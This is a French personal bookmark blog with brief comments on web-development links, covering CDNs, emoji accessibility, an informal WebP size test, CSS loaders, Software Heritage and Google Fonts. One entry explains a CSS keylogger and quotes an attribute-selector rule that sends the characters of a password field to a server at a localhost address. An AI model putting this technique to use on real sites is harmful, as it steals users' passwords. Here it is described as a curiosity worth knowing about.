1311 private links
Bookmarklet: ct.css
Pour les JS/CSS l'argument était de toute façon déjà un peu fumeux avec les numéros de version des libraries. J'étais resté sur le fait que le CDN est théoriquement plus rapide que mon serveur, et que le navigateur préfère les requêtes parallèles sur des hosts différents, mais visiblement ça n'est plus le cas.
Donc effectivement l'intérêt est très limité. En fait, je n'en vois qu'un seul : pour un site à très gros trafic, c'est autant de bande passante qui ne sort pas de chez vous mais de chez Google/CloudFlare/etc. Même dans ce cas, je doute franchement que les fichiers statiques fassent une si grosse différence.
Un super article sur l'accessibilité des emojis. C'est intéressant parce qu'on ne se rend pas forcément compte des rendus que ça peut avoir, notamment sur les synthèse vocales singe qui se cache les yeux.
Malin ! Un keylogger en CSS !
En fait un script génère pour tous les caractères ASCII, l'instruction CSS suivante :
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}Qui signifie que pour les champs de type password dont la valeur se termine par a, on va effectuer une requête externe vers un serveur avec la lettre a. On fait ça pour tous les caractères et hop on a le mot de passe.
Un éditeur d'image en ligne qui a l'air bien réactif pour les mini-retouches rapides.
Un pastebin like minimaliste. J'aime bien.
Au pire il y a wekan qui est un clone open source de Trello et qui marche très bien (bon sans Docker il est un peu chiant à installer).
Yet another Blog CMS.
Tout a fait, chacun fait comme il peut pour se rémunérer, et je préfère un truc sponso bien visible que du placement de produit/pub dissimulée.
En revanche la stat est intéressante :
vous êtes quasi 60% à utiliser des bloqueur de pub
Ça veut quand même dire que pas loin d'une personne sur deux n'utilisent toujours pas de bloqueur de pub en 2019, auprès d'un public qu'on peut juger relativement averti. Je trouve ça assez sidérant, pour une opération qui prend 4 clics et qui change complètement l'expérience du web.
Un IE sous Linux avec Vagrant. J'ai pas testé mais ça peut servir.
Quelques conseils d'accessibilité.
J'ai vu passer quelques liens sur les images au format WebP, qui est un format de compression d'image mis au point par Google... donc je suis allé voir un peu ce que ça donnait.
Bon alors déjà, pour une utilisation standard des images pour le moment et le futur proche, on oublie, fin de la discussion.
Par contre, si on est dans une optique de réduction du poids des pages et d'optimisation SEO, il faut voir le résultat. On peut lire partout, y compris sur Wikipedia :
Par ailleurs, toujours selon Google, 60 % des octets transmis sur la toile seraient des images, et WebP procurerait de 30 % à 80 % de réduction d'espace face à JPEG et PNG
Je ne vais pas y passer la journée, mais j'ai fait un test rapide le premier JPEG donné l'extension Tabliss et un PNG au hasard de fusée.
J'ai passé les deux dans le premier optimisateur d'image en ligne que j'ai trouvé, ce qui nous donne :
| Format | Taille originale | Taille optimisée | Taille WebP |
|---|---|---|---|
| JPG | 5104 Ko | 1049 Ko | 2202 Ko |
| PNG | 41 Ko | 17 Ko | 23 Ko |
Mon jeu de test et ma méthodologie ne sont certes pas très rigoureux, et j'imagine qu'on pourrait me montrer l'inverse avec d'autres exemples, mais en attendant, je ne suis clairement pas convaincu par ce fameux 30 % à 80 % de réduction d'espace.
Moralité : optimisez vos images correctement plutôt que de vous amuser à servir des formats exotiques en fonction du navigateur. Inutile de complexifier ce qui n'a pas lieu d'être, surtout pour un gain a priori nul.
cssdb is a comprehensive list of CSS features and their positions in the process of becoming implemented web standards.
Les futures propriétés CSS en cours de validation.
loaders
Une bibliothèque mondiale, contenant tout le code source jamais produit. C'est l'ambition de Software Heritage, dont l'archive est ouverte au public depuis quelques jours. « Après trois ans acharnés à construire l'infrastructure, à collecter les données, à les indexer... on est très contents d'ouvrir les portes de l'archive ! » nous lance le chercheur Roberto Di Cosmo, qui dirige une équipe d'une dizaine de personnes, dont six à plein temps.
NextInpact
Une grande base de données de code source, avec l'ambition de devenir l'Internet Archive du code et ne plus rien perdre.
Un beau projet, soutenu notamment par Microsoft.
Des loaders sympas en CSS uniquement.
Download Google Fonts locally.
EDIT : En fait c'est super bien planqué.
Ajouter la police au "panier" avec le petit +
Cliquer sur la barre noir en bas qui liste tout ce qu'on a sélectionné
Cliquer sur le bouton Download en haut à droite
https://links.alwaysdata.net/?tzsOHw
EDIT 2 : Google ne semble que permettre de télécharger des TTF.
Une bibliothèque PHP qui permet de charger le DOM, et propose ensuite une API comprenant les sélecteurs jQuery, les requêtes XPath, etc.